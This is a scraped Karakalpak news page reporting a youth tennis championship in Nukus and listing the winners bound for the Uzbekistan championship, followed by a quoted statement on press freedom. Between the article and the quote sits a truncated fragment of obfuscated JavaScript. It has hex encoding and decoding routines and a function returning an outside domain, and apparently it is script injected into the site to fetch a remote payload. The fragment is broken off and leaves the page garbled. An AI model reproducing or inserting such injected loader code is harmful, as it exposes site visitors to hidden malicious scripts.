Поиск

Авторизация



Опрос

Оцените мой сайт
 
Бас бет Спорт

Спорт

ЖЕҢИМПАЗЛАР НАМАНГАНҒА

ЖОЛ АЛДЫ

Соңғы жыллары теннис республикамызда  ғалабаласып атырған спорт түрлериниң биринен саналады. Бүгинги күнде журтымыздың дерлик барлық қала ҳәм районларында спорт дөгереклери ашылып, бунда көплеген елимиз жаслары теннис пенен турақлы түрде шуғылланыў имканиятларына ийе болмақта.

Усы жылдың 11-13-апрель күнлери  Нөкис қалалық 1-санлы балалар ҳәм жас өспиримлер спорт мектебине қараслы теннис спорт комплексиниң ашық теннис кортларында «Саламат ана ҳәм бала жылы», 9-апрель «Қарақалпақстан Республикасы Конститу­циясы күни» байрамына бағышланып 1997-1999, 2000-2001, 2002 ҳәм оннан кейинги жыллары туўылған балалар ҳәм қызлар арасында Қарақалпақстан Республикасы чемпионаты өткерилди.

— Мәмлекетимизде спортқа, әсиресе, балалар спортына болған дыққат-итибар өзиниң унамлы нәтийжелерин берип келмекте. Өткерилип атырған чемпионат жарыслары жас ракетка усталарына тәжирийбе арттырыў мектеби болды десек қәтелеспеймиз. Себеби, республикамыздың барлық район ҳәм қалаларынан келген 180 нен аслам спортшы жаслар кортларда өз-ара беллесип, өзлериниң қай дәрежеде таярлықларға ийе екенлигин сыннан өткерди,-дейди чемпионаттың бас төрешиси Б.Нурешов.

Чемпионаттың ашылыў ҳәм жуўмақлаў кешесинде Қарақалпақстан Республикасы Минис­трлер Кеңесиниң Ислер басқарыўшысы М.Жуманиязов, Нөкис қаласының ҳәкими Ж.Опаев ҳәм басқалар шығып сөйлеп, мәмлекетимизде спортқа, дене тәрбиясына қаратылып атырған итибар, елимиз жасларының жәҳән ареналарында қолға киргизип атырған табыслары жөнинде айтып өтти.

Жарыс жуўмағында 1997-1999-жыллары туўылған балалар арасында К.Қошмуратов, қызлар арасында Н.Юлдашева, 2000-2001-жыллары туўылған балалар арасында С.Зарипов, қызлар арасында Г.Жумагазиева, 2002-жыл ҳәм оннан киши жастағы балалар арасында У.Айтбаев, қызлар арасында А.Қудайбергеновалар чемпионлықты қолға киргизди ҳәм оларға шөл­кемлес­тириўшилер тәрепинен диплом, медаль ҳәм баҳалы саўғалар тапсырылды. Сондай-ақ, жеңимпазлар 16-24-апрель күнлери Наманган ўәлаятында болып өтетуғын Өзбекистан чемпионатына жоллама алды.

Елимиздиң жас ракетка шеберлериниң Өзбекистан чемпионаты жарысларында да мүнәсип қатнасып, жақсы нәтийжелерди қолға киргизип қайтыўынан үлкен үмитлер күтемиз.

Р.АРЗИЕВ

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kknews.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

 

«Бүгин биз демократиялық процесслерди тереңлестириў, халықтың сиясий белсиндилигин арттырыў, пуқаралардың мәмлекетимиздиң сиясий ҳәм жәмийетлик турмысындағы әмелий қатнасы ҳаққында сөз етер екенбиз, әлбетте, мәлимлеме алыў еркинлигин тәмийинлемей, ғалаба хабар қуралларын адамлар өзиниң пикир ҳәм идеяларын, жүз берип атырған ўақыяларға өзлериниң мүнәсибетин ҳәм позициясын еркин билдиретуғын минберге ерисип болмайтуғынын жақсы билемиз.

Бәршеге мәлим, пуқаралардың мәлимлеме тараўындағы ҳуқық ҳәм еркинликлерин тәмийинлеў мәселеси инсанның мәлимлеме алыў, мәлимлемени ҳәм өзиниң жеке пикирин тарқатыў ҳуқықы ҳәм еркинлигин өзине жәмлеген болып, бул Өзбекстанда демократиялық жәмийет тийкарларын қурыўдың әҳмийетли шәрти, керек болса, тырнағы болып есапланады».

Ислам Кәримов

 

Архив

2017
Октябрь
ПнВтСрЧтПтСбВс
      1
2345678
9101112131415
16171819202122
23242526272829
3031